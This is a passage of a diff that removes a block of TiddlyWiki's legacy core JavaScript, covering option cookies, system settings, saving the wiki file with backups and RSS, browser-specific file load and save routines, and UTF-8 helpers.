- if(!startingUp) {
- loadSystemSettings();
- }
-}
-
-function saveOption(name)
-{
- if(safeMode)
- return;
- if(name.match(/[()\s]/g, '_')) {
- alert(config.messages.invalidCookie.format([name]));
- return;
- }
- saveCookie(name);
- if(config.optionsSource[name] == 'setting') {
- saveSystemSetting(name,true);
- }
-}
-// @Deprecated; retained for backwards compatibility
-var saveOptionCookie = saveOption;
-
-function removeCookie(name)
-{
- document.cookie = name + '=; expires=Thu, 01-Jan-1970 00:00:01 UTC; path=/;';
-}
-
-function saveCookie(name)
-{
- var key,cookies = {};
- for(key in config.options) {
- var value = getOption(key);
- value = value == null ? 'false' : value;
- cookies[key] = value;
- }
- document.cookie = 'TiddlyWiki=' + String.encodeHashMap(cookies) + '; expires=Fri, 1 Jan 2038 12:00:00 UTC; path=/';
- cookies = getCookies();
- var c;
- for(c in cookies) {
- var optType = c.substr(0,3);
- if(config.optionHandlers[optType])
- removeCookie(c);
- }
-}
-
-var systemSettingSave;
-function commitSystemSettings(storeWasDirty)
-{
- if(systemSettingSave) {
- window.clearTimeout(systemSettingSave);
- }
- systemSettingSave = window.setTimeout(function() {
- var tiddler = store.getTiddler('SystemSettings');
- autoSaveChanges(null,[tiddler]);
- }, 1000);
-}
-
-function saveSystemSetting(name,saveFile)
-{
- var title = 'SystemSettings';
- var slice = store.getTiddlerSlice(title,name);
- if(readOnly || slice === getOption(name)) {
- return; //# don't save if read-only or the option hasn't changed
- }
- var slices = store.calcAllSlices(title);
- var key;
- for(key in config.optionsSource) {
- var value = getOption(key) || '';
- if(slices[key] !== value) {
- slices[key] = value;
- }
- }
- var text = [];
- for(key in slices) {
- text.push('%0: %1'.format([key,slices[key]]));
- }
- text = text.sort().join('\n');
- var storeWasDirty = store.isDirty();
- var tiddler = store.getTiddler(title);
- if(tiddler) {
- tiddler.text = text;
- tiddler = store.saveTiddler(tiddler);
- } else {
- tiddler = store.saveTiddler(title,title,text,'System',new Date(),['excludeLists'],config.defaultCustomFields);
- }
- if(saveFile) {
- commitSystemSettings(storeWasDirty);
- }
-}
-
-function encodeCookie(s)
-{
- return escape(convertUnicodeToHtmlEntities(s));
-}
-
-function decodeCookie(s)
-{
- s = unescape(s);
- var re = /&#[0-9]{1,5};/g;
- return s.replace(re,function($0) {return String.fromCharCode(eval($0.replace(/[&#;]/g,'')));});
-}
-
-config.macros.option.genericCreate = function(place,type,opt,className,desc)
-{
- var typeInfo = config.macros.option.types[type];
- var c = document.createElement(typeInfo.elementType);
- if(typeInfo.typeValue)
- c.setAttribute('type',typeInfo.typeValue);
- c[typeInfo.eventName] = typeInfo.onChange;
- c.setAttribute('option',opt);
- c.className = className || typeInfo.className;
- if(config.optionsDesc[opt])
- c.setAttribute('title',config.optionsDesc[opt]);
- place.appendChild(c);
- if(desc != 'no')
- createTiddlyText(place,config.optionsDesc[opt] || opt);
- c[typeInfo.valueField] = config.options[opt];
- return c;
-};
-
-config.macros.option.genericOnChange = function(e)
-{
- var opt = this.getAttribute('option');
- if(opt) {
- var optType = opt.substr(0,3);
- var handler = config.macros.option.types[optType];
- if(handler.elementType && handler.valueField)
- config.macros.option.propagateOption(opt,handler.valueField,this[handler.valueField],handler.elementType,this);
- }
- return true;
-};
-
-config.macros.option.types = {
- 'txt': {
- elementType: 'input',
- valueField: 'value',
- eventName: 'onchange',
- className: 'txtOptionInput',
- create: config.macros.option.genericCreate,
- onChange: config.macros.option.genericOnChange
- },
- 'chk': {
- elementType: 'input',
- valueField: 'checked',
- eventName: 'onclick',
- className: 'chkOptionInput',
- typeValue: 'checkbox',
- create: config.macros.option.genericCreate,
- onChange: config.macros.option.genericOnChange
- }
-};
-
-config.macros.option.propagateOption = function(opt,valueField,value,elementType,elem)
-{
- config.options[opt] = value;
- saveOption(opt);
- var t,nodes = document.getElementsByTagName(elementType);
- for(t=0; t<nodes.length; t++) {
- var optNode = nodes[t].getAttribute('option');
- if(opt == optNode && nodes[t]!=elem)
- nodes[t][valueField] = value;
- }
-};
-
-config.macros.option.handler = function(place,macroName,params,wikifier,paramString)
-{
- params = paramString.parseParams('anon',null,true,false,false);
- var opt = (params[1] && params[1].name == 'anon') ? params[1].value : getParam(params,'name',null);
- var className = (params[2] && params[2].name == 'anon') ? params[2].value : getParam(params,'class',null);
- var desc = getParam(params,'desc','no');
- var type = opt.substr(0,3);
- var h = config.macros.option.types[type];
- if(h && h.create)
- h.create(place,type,opt,className,desc);
-};
-
-config.macros.options.handler = function(place,macroName,params,wikifier,paramString)
-{
- params = paramString.parseParams('anon',null,true,false,false);
- var showUnknown = getParam(params,'showUnknown','no');
- var wizard = new Wizard();
- wizard.createWizard(place,this.wizardTitle);
- wizard.addStep(this.step1Title,this.step1Html);
- var markList = wizard.getElement('markList');
- var chkUnknown = wizard.getElement('chkUnknown');
- chkUnknown.checked = showUnknown == 'yes';
- chkUnknown.onchange = this.onChangeUnknown;
- var listWrapper = document.createElement('div');
- markList.parentNode.insertBefore(listWrapper,markList);
- wizard.setValue('listWrapper',listWrapper);
- this.refreshOptions(listWrapper,showUnknown == 'yes');
-};
-
-config.macros.options.refreshOptions = function(listWrapper,showUnknown)
-{
- var n,opts = [];
- for(n in config.options) {
- var opt = {};
- opt.option = '';
- opt.name = n;
- opt.lowlight = !config.optionsDesc[n];
- opt.description = opt.lowlight ? this.unknownDescription : config.optionsDesc[n];
- if(!opt.lowlight || showUnknown)
- opts.push(opt);
- }
- opts.sort(function(a,b) {return a.name.substr(3) < b.name.substr(3) ? -1 : (a.name.substr(3) == b.name.substr(3) ? 0 : +1);});
- ListView.create(listWrapper,opts,this.listViewTemplate);
- for(n=0; n<opts.length; n++) {
- var type = opts[n].name.substr(0,3);
- var h = config.macros.option.types[type];
- if(h && h.create) {
- h.create(opts[n].colElements['option'],type,opts[n].name,null,'no');
- }
- }
-};
-
-config.macros.options.onChangeUnknown = function(e)
-{
- var wizard = new Wizard(this);
- var listWrapper = wizard.getValue('listWrapper');
- jQuery(listWrapper).empty();
- config.macros.options.refreshOptions(listWrapper,this.checked);
- return false;
-};
-
-//--
-//-- Saving
-//--
-
-var saveUsingSafari = false;
-
-var startSaveArea = '<div id="' + 'storeArea">'; // Split up into two so that indexOf() of this source doesn't find it
-var startSaveAreaRE = /<((div)|(DIV)) ((id)|(ID))=["']?storeArea['"]?>/; // Used for IE6
-var endSaveArea = '</d' + 'iv>';
-var endSaveAreaCaps = '</D' + 'IV>';
-
-// If there are unsaved changes, force the user to confirm before exitting
-function confirmExit()
-{
- hadConfirmExit = true;
- if((store && store.isDirty && store.isDirty()) || (story && story.areAnyDirty && story.areAnyDirty()))
- return config.messages.confirmExit;
-}
-
-// Give the user a chance to save changes before exitting
-function checkUnsavedChanges()
-{
- if(store && store.isDirty && store.isDirty() && window.hadConfirmExit === false) {
- if(confirm(config.messages.unsavedChangesWarning))
- saveChanges();
- }
-}
-
-function updateLanguageAttribute(s)
-{
- if(config.locale) {
- var mRE = /(<html(?:.*?)?)(?: xml:lang\="([a-z]+)")?(?: lang\="([a-z]+)")?>/;
- var m = mRE.exec(s);
- if(m) {
- var t = m[1];
- if(m[2])
- t += ' xml:lang="' + config.locale + '"';
- if(m[3])
- t += ' lang="' + config.locale + '"';
- t += ">";
- s = s.substr(0,m.index) + t + s.substr(m.index+m[0].length);
- }
- }
- return s;
-}
-
-function updateMarkupBlock(s,blockName,tiddlerName)
-{
- return s.replaceChunk(
- "<!--%0-START-->".format([blockName]),
- "<!--%0-END-->".format([blockName]),
- "\n" + convertUnicodeToFileFormat(store.getRecursiveTiddlerText(tiddlerName,"")) + "\n");
-}
-
-function updateOriginal(original,posDiv,localPath)
-{
- if(!posDiv)
- posDiv = locateStoreArea(original);
- if(!posDiv) {
- alert(config.messages.invalidFileError.format([localPath]));
- return null;
- }
- var revised = original.substr(0,posDiv[0] + startSaveArea.length) + "\n" +
- convertUnicodeToFileFormat(store.allTiddlersAsHtml()) + "\n" +
- original.substr(posDiv[1]);
- var newSiteTitle = convertUnicodeToFileFormat(getPageTitle()).htmlEncode();
- revised = revised.replaceChunk("<title"+">","</title"+">"," " + newSiteTitle + " ");
- revised = updateLanguageAttribute(revised);
- revised = updateMarkupBlock(revised,"PRE-HEAD","MarkupPreHead");
- revised = updateMarkupBlock(revised,"POST-HEAD","MarkupPostHead");
- revised = updateMarkupBlock(revised,"PRE-BODY","MarkupPreBody");
- revised = updateMarkupBlock(revised,"POST-SCRIPT","MarkupPostBody");
- return revised;
-}
-
-function locateStoreArea(original)
-{
- // Locate the storeArea divs
- if(!original)
- return null;
- var posOpeningDiv = original.search(startSaveAreaRE);
- var limitClosingDiv = original.indexOf("<"+"!--POST-STOREAREA--"+">");
- if(limitClosingDiv == -1)
- limitClosingDiv = original.indexOf("<"+"!--POST-BODY-START--"+">");
- var start = limitClosingDiv == -1 ? original.length : limitClosingDiv;
- var posClosingDiv = original.lastIndexOf(endSaveArea,start);
- if(posClosingDiv == -1)
- posClosingDiv = original.lastIndexOf(endSaveAreaCaps,start);
- return (posOpeningDiv != -1 && posClosingDiv != -1) ? [posOpeningDiv,posClosingDiv] : null;
-}
-
-function autoSaveChanges(onlyIfDirty,tiddlers)
-{
- if(config.options.chkAutoSave)
- saveChanges(onlyIfDirty,tiddlers);
-}
-
-function loadOriginal(localPath)
-{
- var content=loadFile(localPath);
- if (!content) content=window.originalHTML||recreateOriginal();
- return content;
-}
-
-function recreateOriginal()
-{
- // construct doctype
- var content = "<!DOCTYPE ";
- var t=document.doctype;
- if (!t)
- content+="html"
- else {
- content+=t.name;
- if (t.publicId) content+=' PUBLIC "'+t.publicId+'"';
- else if (t.systemId) content+=' SYSTEM "'+t.systemId+'"';
- }
- content+=' "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"';
- content+='>\n';
-
- // append current document content
- content+=document.documentElement.outerHTML;
-
- content=content.replace(/<div id="saveTest">savetest<\/div>/,'<div id="saveTest"></div>');
- content=content.replace(/script><applet [^\>]*><\/applet>/g,'script>');
- content=content.replace(/><head>/,'>\n<head>');
- content=content.replace(/\n\n<\/body><\/html>$/,'</body>\n</html>\n');
- content=content.replace(/(<(meta) [^\>]*[^\/])>/g,'$1 />');
- content=content.replace(/<noscript>[^\<]*<\/noscript>/,
- function(m){return m.replace(/&lt;/g,'<').replace(/&gt;/g,'>');});
- content=content.replace(/<div id="copyright">[^\<]*<\/div>/,
- function(m){return m.replace(/\xA9/g,'&copy;');});
-
- return content;
-}
-
-// Save this tiddlywiki with the pending changes
-function saveChanges(onlyIfDirty,tiddlers)
-{
- if(onlyIfDirty && !store.isDirty())
- return;
- clearMessage();
- var t0 = new Date();
- var msg = config.messages;
- var originalPath = document.location.toString();
- if(!window.allowSave()) {
- alert(msg.notFileUrlError);
- if(store.tiddlerExists(msg.saveInstructions))
- story.displayTiddler(null,msg.saveInstructions);
- return;
- }
- var localPath = getLocalPath(originalPath);
- var original = loadOriginal(localPath);
- if(original == null) {
- alert(msg.cantSaveError);
- if(store.tiddlerExists(msg.saveInstructions))
- story.displayTiddler(null,msg.saveInstructions);
- return;
- }
- var posDiv = locateStoreArea(original);
- if(!posDiv) {
- alert(msg.invalidFileError.format([localPath]));
- return;
- }
- var co=config.options; //# abbreviation
- config.saveByDownload=false;
- config.saveByManualDownload=false;
- saveMain(localPath,original,posDiv);
- if (!config.saveByDownload && !config.saveByManualDownload) {
- if(co.chkSaveBackups)
- saveBackup(localPath,original);
- if(co.chkSaveEmptyTemplate)
- saveEmpty(localPath,original,posDiv);
- if(co.chkGenerateAnRssFeed && saveRss instanceof Function)
- saveRss(localPath);
- }
- if(co.chkDisplayInstrumentation)
- displayMessage("saveChanges " + (new Date()-t0) + " ms");
-}
-
-
-function saveMain(localPath,original,posDiv)
-{
- var save;
- try {
- var revised = updateOriginal(original,posDiv,localPath);
- save = saveFile(localPath,revised);
- } catch (ex) {
- showException(ex);
- }
- if(save) {
- if (!config.saveByManualDownload) {
- if (config.saveByDownload) { //# set by HTML5DownloadSaveFile()
- var link = getDataURI(revised);
- var msg = config.messages.mainDownload;
- } else {
- var link = "file://" + localPath;
- var msg = config.messages.mainSaved;
- }
- displayMessage(msg,link);
- }
- store.setDirty(false);
- } else {
- alert(config.messages.mainFailed);
- }
-}
-
-function saveBackup(localPath,original)
-{
- var backupPath = getBackupPath(localPath);
- var backup = copyFile(backupPath,localPath);
- if(!backup)
- backup = saveFile(backupPath,original);
- if(backup)
- displayMessage(config.messages.backupSaved,"file://" + backupPath);
- else
- alert(config.messages.backupFailed);
-}
-
-function saveEmpty(localPath,original,posDiv)
-{
- var emptyPath,p;
- if((p = localPath.lastIndexOf("/")) != -1)
- emptyPath = localPath.substr(0,p) + "/";
- else if((p = localPath.lastIndexOf("\\")) != -1)
- emptyPath = localPath.substr(0,p) + "\\";
- else
- emptyPath = localPath + ".";
- emptyPath += "empty.html";
- var empty = original.substr(0,posDiv[0] + startSaveArea.length) + original.substr(posDiv[1]);
- var emptySave = saveFile(emptyPath,empty);
- if(emptySave)
- displayMessage(config.messages.emptySaved,"file://" + emptyPath);
- else
- alert(config.messages.emptyFailed);
-}
-
-// Translate URL to local path [Preemption]
-window.getLocalPath = window.getLocalPath || function(origPath)
-{
- var originalPath = convertUriToUTF8(origPath,config.options.txtFileSystemCharSet);
- // Remove any location or query part of the URL
- var argPos = originalPath.indexOf("?");
- if(argPos != -1)
- originalPath = originalPath.substr(0,argPos);
- var hashPos = originalPath.indexOf("#");
- if(hashPos != -1)
- originalPath = originalPath.substr(0,hashPos);
- // Convert file://localhost/ to file:///
- if(originalPath.indexOf("file://localhost/") == 0)
- originalPath = "file://" + originalPath.substr(16);
- // Convert to a native file format
- var localPath;
- if(originalPath.charAt(9) == ":") // pc local file
- localPath = unescape(originalPath.substr(8)).replace(new RegExp("/","g"),"\\");
- else if(originalPath.indexOf("file://///") == 0) // FireFox pc network file
- localPath = "\\\\" + unescape(originalPath.substr(10)).replace(new RegExp("/","g"),"\\");
- else if(originalPath.indexOf("file:///") == 0) // mac/unix local file
- localPath = unescape(originalPath.substr(7));
- else if(originalPath.indexOf("file:/") == 0) // mac/unix local file
- localPath = unescape(originalPath.substr(5));
- else // pc network file
- localPath = "\\\\" + unescape(originalPath.substr(7)).replace(new RegExp("/","g"),"\\");
- return localPath;
-}
-
-function getBackupPath(localPath,title,extension)
-{
- var slash = "\\";
- var dirPathPos = localPath.lastIndexOf("\\");
- if(dirPathPos == -1) {
- dirPathPos = localPath.lastIndexOf("/");
- slash = "/";
- }
- var backupFolder = config.options.txtBackupFolder;
- if(!backupFolder || backupFolder == "")
- backupFolder = ".";
- var backupPath = localPath.substr(0,dirPathPos) + slash + backupFolder + localPath.substr(dirPathPos);
- backupPath = backupPath.substr(0,backupPath.lastIndexOf(".")) + ".";
- if(title)
- backupPath += title.replace(/[\\\/\*\?\":<> ]/g,"_") + ".";
- backupPath += (new Date()).convertToYYYYMMDDHHMMSSMMM() + "." + (extension || "html");
- return backupPath;
-}
-
-//--
-//-- RSS Saving
-//--
-
-function saveRss(localPath)
-{
- var rssPath = localPath.substr(0,localPath.lastIndexOf(".")) + ".xml";
- if(saveFile(rssPath,convertUnicodeToFileFormat(generateRss())))
- displayMessage(config.messages.rssSaved,"file://" + rssPath);
- else
- alert(config.messages.rssFailed);
-}
-
-tiddlerToRssItem = function(tiddler,uri)
-{
- var s = "<title" + ">" + tiddler.title.htmlEncode() + "</title" + ">\n";
- s += "<description>" + wikifyStatic(tiddler.text,null,tiddler).htmlEncode() + "</description>\n";
- var i;
- for(i=0; i<tiddler.tags.length; i++)
- s += "<category>" + tiddler.tags[i] + "</category>\n";
- s += "<link>" + uri + "#" + encodeURIComponent(String.encodeTiddlyLink(tiddler.title)) + "</link>\n";
- s +="<pubDate>" + tiddler.modified.toGMTString() + "</pubDate>\n";
- return s;
-};
-
-function generateRss()
-{
- var s = [];
- var d = new Date();
- var u = store.getTiddlerText("SiteUrl");
- // Assemble the header
- s.push("<" + "?xml version=\"1.0\"?" + ">");
- s.push("<rss version=\"2.0\">");
- s.push("<channel>");
- s.push("<title" + ">" + wikifyPlainText(store.getTiddlerText("SiteTitle",""),null,tiddler).htmlEncode() + "</title" + ">");
- if(u)
- s.push("<link>" + u.htmlEncode() + "</link>");
- s.push("<description>" + wikifyPlainText(store.getTiddlerText("SiteSubtitle",""),null,tiddler).htmlEncode() + "</description>");
- s.push("<language>" + config.locale + "</language>");
- s.push("<copyright>Copyright " + d.getFullYear() + " " + config.options.txtUserName.htmlEncode() + "</copyright>");
- s.push("<pubDate>" + d.toGMTString() + "</pubDate>");
- s.push("<lastBuildDate>" + d.toGMTString() + "</lastBuildDate>");
- s.push("<docs>http://blogs.law.harvard.edu/tech/rss</docs>");
- s.push("<generator>TiddlyWiki " + formatVersion() + "</generator>");
- // The body
- var tiddlers = store.getTiddlers("modified","excludeLists");
- var i,n = config.numRssItems > tiddlers.length ? 0 : tiddlers.length-config.numRssItems;
- for(i=tiddlers.length-1; i>=n; i--) {
- s.push("<item>\n" + tiddlerToRssItem(tiddlers[i],u) + "\n</item>");
- }
- // And footer
- s.push("</channel>");
- s.push("</rss>");
- // Save it all
- return s.join("\n");
-}
-
-//--
-//-- Filesystem code
-//--
-
-// Copy a file in filesystem [Preemption]
-window.copyFile = window.copyFile || function(dest,source)
-{
- return config.browser.isIE ? ieCopyFile(dest,source) : false;
-}
-
-
-// Save a file in filesystem [Preemption]
-window.saveFile = window.saveFile || function(fileUrl,content)
-{
- var r = mozillaSaveFile(fileUrl,content);
- if(!r)
- r = ieSaveFile(fileUrl,content);
- if(!r)
- r = javaSaveFile(fileUrl,content);
- if(!r)
- r = HTML5DownloadSaveFile(fileUrl,content);
- if(!r)
- r = manualSaveFile(fileUrl,content);
- return r;
-}
-
-// Load a file from filesystem [Preemption]
-window.loadFile = window.loadFile || function(fileUrl)
-{
- var r = mozillaLoadFile(fileUrl);
- if((r == null) || (r == false))
- r = ieLoadFile(fileUrl);
- if((r == null) || (r == false))
- r = javaLoadFile(fileUrl);
- return r;
-}
-
-function ieCreatePath(path)
-{
- try {
- var fso = new ActiveXObject("Scripting.FileSystemObject");
- } catch(ex) {
- return null;
- }
-
- var pos = path.lastIndexOf("\\");
- if(pos==-1)
- pos = path.lastIndexOf("/");
- if(pos!=-1)
- path = path.substring(0,pos+1);
-
- var scan = [path];
- var parent = fso.GetParentFolderName(path);
- while(parent && !fso.FolderExists(parent)) {
- scan.push(parent);
- parent = fso.GetParentFolderName(parent);
- }
-
- for(i=scan.length-1;i>=0;i--) {
- if(!fso.FolderExists(scan[i])) {
- fso.CreateFolder(scan[i]);
- }
- }
- return true;
-}
-
-// Returns null if it can't do it, false if there's an error, true if it saved OK
-function ieSaveFile(filePath,content)
-{
- ieCreatePath(filePath);
- try {
- var fso = new ActiveXObject("Scripting.FileSystemObject");
- } catch(ex) {
- return null;
- }
- var file = fso.OpenTextFile(filePath,2,-1,0);
- file.Write(content);
- file.Close();
- return true;
-}
-
-// Returns null if it can't do it, false if there's an error, or a string of the content if successful
-function ieLoadFile(filePath)
-{
- try {
- var fso = new ActiveXObject("Scripting.FileSystemObject");
- var file = fso.OpenTextFile(filePath,1);
- var content = file.ReadAll();
- file.Close();
- } catch(ex) {
- return null;
- }
- return content;
-}
-
-function ieCopyFile(dest,source)
-{
- ieCreatePath(dest);
- try {
- var fso = new ActiveXObject("Scripting.FileSystemObject");
- fso.GetFile(source).Copy(dest);
- } catch(ex) {
- return false;
- }
- return true;
-}
-
-// Returns null if it can't do it, false if there's an error, true if it saved OK
-function mozillaSaveFile(filePath,content)
-{
- if(window.Components) {
- try {
- netscape.security.PrivilegeManager.enablePrivilege("UniversalXPConnect");
- var file = Components.classes["@mozilla.org/file/local;1"].createInstance(Components.interfaces.nsILocalFile);
- file.initWithPath(filePath);
- if(!file.exists())
- file.create(0,0x01B4);// 0x01B4 = 0664
- var out = Components.classes["@mozilla.org/network/file-output-stream;1"].createInstance(Components.interfaces.nsIFileOutputStream);
- out.init(file,0x22,0x04,null);
- out.write(content,content.length);
- out.flush();
- out.close();
- return true;
- } catch(ex) {
- return false;
- }
- }
- return null;
-}
-
-// Returns null if it can't do it, false if there's an error, or a string of the content if successful
-function mozillaLoadFile(filePath)
-{
- if(window.Components) {
- try {
- netscape.security.PrivilegeManager.enablePrivilege("UniversalXPConnect");
- var file = Components.classes["@mozilla.org/file/local;1"].createInstance(Components.interfaces.nsILocalFile);
- file.initWithPath(filePath);
- if(!file.exists())
- return null;
- var inputStream = Components.classes["@mozilla.org/network/file-input-stream;1"].createInstance(Components.interfaces.nsIFileInputStream);
- inputStream.init(file,0x01,0x04,null);
- var sInputStream = Components.classes["@mozilla.org/scriptableinputstream;1"].createInstance(Components.interfaces.nsIScriptableInputStream);
- sInputStream.init(inputStream);
- var contents = sInputStream.read(sInputStream.available());
- sInputStream.close();
- inputStream.close();
- return contents;
- } catch(ex) {
- return false;
- }
- }
- return null;
-}
-
-function javaUrlToFilename(url)
-{
- var f = "//localhost";
- if(url.indexOf(f) == 0)
- return url.substring(f.length);
- var i = url.indexOf(":");
- return i > 0 ? url.substring(i-1) : url;
-}
-
-/*
- *
- * in between when the applet has been started
- * and the user has given permission to run the applet
- * we get an applet object, but it doesn't have the methods
- * we expect yet.
- *
- */
-var LOG_TIDDLYSAVER = true;
-function logTiddlySaverException(msg, ex) {
- var applet = document.applets['TiddlySaver'];
- console.log(msg + ": " + ex);
- if (LOG_TIDDLYSAVER && applet) {
- try {
- console.log(msg + ": " + applet.getLastErrorMsg());
- console.log(msg + ": " + applet.getLastErrorStackTrace());
- } catch (ex) {}
- }
-}
-
-function javaDebugInformation () {
- var applet = document.applets['TiddlySaver'];
- var what = [
- ["Java Version", applet.getJavaVersion],
- ["Last Exception", applet.getLastErrorMessage],
- ["Last Exception Stack Trace", applet.getLastErrorStackTrace],
- ["System Properties", applet.getSystemProperties] ];
-
- function formatItem (description, method) {
- try {
- result = String(method.call(applet));
- } catch (ex) {
- result = String(ex)
- }
- return description + ": " + result
- }
-
- return jQuery.map(what, function (item) { return formatItem.apply(this, item) })
- .join('\n\n')
-}
-
-function javaSaveFile(filePath,content)
-{
- var applet = document.applets['TiddlySaver'];
- try {
- if (applet && filePath)
- return applet.saveFile(javaUrlToFilename(filePath), "UTF-8", content);
- } catch(ex) {
- logTiddlySaverException("javaSaveFile", ex);
- }
- // is this next block working anywhere ? -- grmble
- try {
- var s = new java.io.PrintStream(new java.io.FileOutputStream(javaUrlToFilename(filePath)));
- s.print(content);
- s.close();
- } catch(ex2) {
- return null;
- }
- return true;
-}
-
-function javaLoadFile(filePath)
-{
- var applet = document.applets['TiddlySaver'];
- try {
- if (applet && filePath) {
- var ret = applet.loadFile(javaUrlToFilename(filePath),"UTF-8");
- if(!ret)
- return null;
- return String(ret);
- }
- } catch(ex) {
- logTiddlySaverException("javaLoadFile", ex);
- }
- // is this next block working anywhere ? -- grmble
- var content = [];
- try {
- var r = new java.io.BufferedReader(new java.io.FileReader(javaUrlToFilename(filePath)));
- var line;
- while((line = r.readLine()) != null)
- content.push(String(line));
- r.close();
- } catch(ex2) {
- return null;
- }
- return content.join("\n");
-}
-
-function HTML5DownloadSaveFile(filePath,content)
-{
- if(document.createElement("a").download !== undefined) {
- config.saveByDownload=true;
- var slashpos=filePath.lastIndexOf("/");
- if (slashpos==-1) slashpos=filePath.lastIndexOf("\\");
- var filename=filePath.substr(slashpos+1);
- var uri = getDataURI(content);
- var link = document.createElement("a");
- link.setAttribute("target","_blank");
- link.setAttribute("href",uri);
- link.setAttribute("download",filename);
- document.body.appendChild(link); link.click(); document.body.removeChild(link);
- return true;
- }
- return null;
-}
-
-// Returns null if it can't do it, false if there's an error, true if it saved OK
-function manualSaveFile(filePath,content)
-{
- // FALLBACK for showing a link to data: URI
- config.saveByManualDownload=true;
- var slashpos=filePath.lastIndexOf("/");
- if (slashpos==-1) slashpos=filePath.lastIndexOf("\\");
- var filename=filePath.substr(slashpos+1);
- var uri = getDataURI(content);
- displayMessage(config.messages.mainDownloadManual,uri);
- return true;
-}
-
-// construct data URI (using base64 encoding to preserve multi-byte encodings)
-function getDataURI(data) {
- if (config.browser.isIE)
- return "data:text/html,"+encodeURIComponent(data);
- else
- return "data:text/html;base64,"+encodeBase64(data);
-}
-
-function encodeBase64(data) {
- if (!data) return "";
- var keyStr = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=";
- var out = "";
- var chr1,chr2,chr3="";
- var enc1,enc2,enc3,enc4="";
- for (var count=0,i=0; i<data.length; ) {
- chr1=data.charCodeAt(i++);
- chr2=data.charCodeAt(i++);
- chr3=data.charCodeAt(i++);
- enc1=chr1 >> 2;
- enc2=((chr1 & 3) << 4) | (chr2 >> 4);
- enc3=((chr2 & 15) << 2) | (chr3 >> 6);
- enc4=chr3 & 63;
- if (isNaN(chr2)) enc3=enc4=64;
- else if (isNaN(chr3)) enc4=64;
- out+=keyStr.charAt(enc1)+keyStr.charAt(enc2)+keyStr.charAt(enc3)+keyStr.charAt(enc4);
- chr1=chr2=chr3=enc1=enc2=enc3=enc4="";
- }
- return out;
-}//--
-//-- Filesystem utilities
-//--
-
-function convertUTF8ToUnicode(u)
-{
- return config.browser.isOpera || !window.netscape ? manualConvertUTF8ToUnicode(u) : mozConvertUTF8ToUnicode(u);
-}
-
-
-function manualConvertUTF8ToUnicode(utf)
-{
- var uni = utf;
- var src = 0;
- var dst = 0;
- var b1, b2, b3;
- var c;
- while(src < utf.length) {
- b1 = utf.charCodeAt(src++);
- if(b1 < 0x80) {
- dst++;
- } else if(b1 < 0xE0) {
- b2 = utf.charCodeAt(src++);
- c = String.fromCharCode(((b1 & 0x1F) << 6) | (b2 & 0x3F));
- uni = uni.substring(0,dst++).concat(c,utf.substr(src));
- } else {
- b2 = utf.charCodeAt(src++);
- b3 = utf.charCodeAt(src++);
- c = String.fromCharCode(((b1 & 0xF) << 12) | ((b2 & 0x3F) << 6) | (b3 & 0x3F));
- uni = uni.substring(0,dst++).concat(c,utf.substr(src));
- }
- }
- return uni;
-}
-
-function mozConvertUTF8ToUnicode(u)
-{
- try {
- netscape.security.PrivilegeManager.enablePrivilege("UniversalXPConnect");
- var converter = Components.classes["@mozilla.org/intl/scriptableunicodeconverter"].createInstance(Components.interfaces.nsIScriptableUnicodeConverter);
- converter.charset = "UTF-8";
- } catch(ex) {
- return manualConvertUTF8ToUnicode(u);
- } // fallback
- var s = converter.ConvertToUnicode(u);
- var fin = converter.Finish();
- return fin.length > 0 ? s+fin : s;
-}
-
-function convertUnicodeToFileFormat(s)
-{
- return config.browser.isOpera || !window.netscape ? (config.browser.isIE ? convertUnicodeToHtmlEntities(s) : s) : mozConvertUnicodeToUTF8(s);
-}
-
-function convertUnicodeToHtmlEntities(s)
-{
- var re = /[^\u0000-\u007F]/g;
- return s.replace(re,function($0) {return "&#" + $0.charCodeAt(0).toString() + ";";});
-}
-
-function convertUnicodeToUTF8(s)
-{
-// return convertUnicodeToFileFormat to allow plugin migration
- return convertUnicodeToFileFormat(s);
-}
-
-function manualConvertUnicodeToUTF8(s)
-{
- return unescape(encodeURIComponent(s));
-}
-
-function mozConvertUnicodeToUTF8(s)
-{
- try {
- netscape.security.PrivilegeManager.enablePrivilege("UniversalXPConnect");
- var converter = Components.classes["@mozilla.org/intl/scriptableunicodeconverter"].createInstance(Components.interfaces.nsIScriptableUnicodeConverter);
- converter.charset = "UTF-8";
- } catch(ex) {
- return manualConvertUnicodeToUTF8(s);
- } // fallback
- var u = converter.ConvertFromUnicode(s);
- var fin = converter.Finish();
- return fin.length > 0 ? u + fin : u;
-}
-
-function convertUriToUTF8(uri,charSet)
-{
- if(window.netscape == undefined || charSet == undefined || charSet == "")
- return uri;
- try {
- netscape.security.PrivilegeManager.enablePrivilege("UniversalXPConnect");
- var converter = Components.classes["@mozilla.org/intl/utf8converterservice;1"].getService(Components.interfaces.nsIUTF8ConverterService);
- } catch(ex) {
- return uri;
- }
- return converter.convertURISpecToUTF8(uri,charSet);
-}
-//--
-//-- Server adaptor base class
-//--
-
-function AdaptorBase()
-{
- this.host = null;
- this.store = null;
- return this;
-}
-
-AdaptorBase.prototype.close = function()
-{
- return true;
-};
-
-AdaptorBase.prototype.fullHostName = function(host)
-{
- if(!host)
- return '';
- host = host.trim();
- if(!host.match(/:\/\//))
- host = 'http://' + host;
- if(host.substr(host.length-1) == '/')
- host = host.substr(0,host.length-1);
- return host;
-};
-
-AdaptorBase.minHostName = function(host)
-{
- return host;
-};
-
-AdaptorBase.prototype.setContext = function(context,userParams,callback)
-{
- if(!context) context = {};
- context.userParams = userParams;
- if(callback) context.callback = callback;
- context.adaptor = this;
- if(!context.host)
- context.host = this.host;
- context.host = this.fullHostName(context.host);
- if(!context.workspace)
- context.workspace = this.workspace;
- return context;
-};
-
-// Open the specified host
-AdaptorBase.prototype.openHost = function(host,context,userParams,callback)
-{
- this.host = host;
- context = this.setContext(context,userParams,callback);
- context.status = true;
- if(callback)
- window.setTimeout(function() {context.callback(context,userParams);},10);
- return true;
-};
-
-// Open the specified workspace
-AdaptorBase.prototype.openWorkspace = function(workspace,context,userParams,callback)
-{
- this.workspace = workspace;
- context = this.setContext(context,userParams,callback);
- context.status = true;
- if(callback)
- window.setTimeout(function() {callback(context,userParams);},10);
- return true;
-};
-
-//--
-//-- Server adaptor for talking to static TiddlyWiki files
-//--
-
-function FileAdaptor()
-{
-}
-
-FileAdaptor.prototype = new AdaptorBase();
-
-FileAdaptor.serverType = 'file';
-FileAdaptor.serverLabel = 'TiddlyWiki';
-
-FileAdaptor.loadTiddlyWikiSuccess = function(context,jqXHR)
-{
- context.status = true;
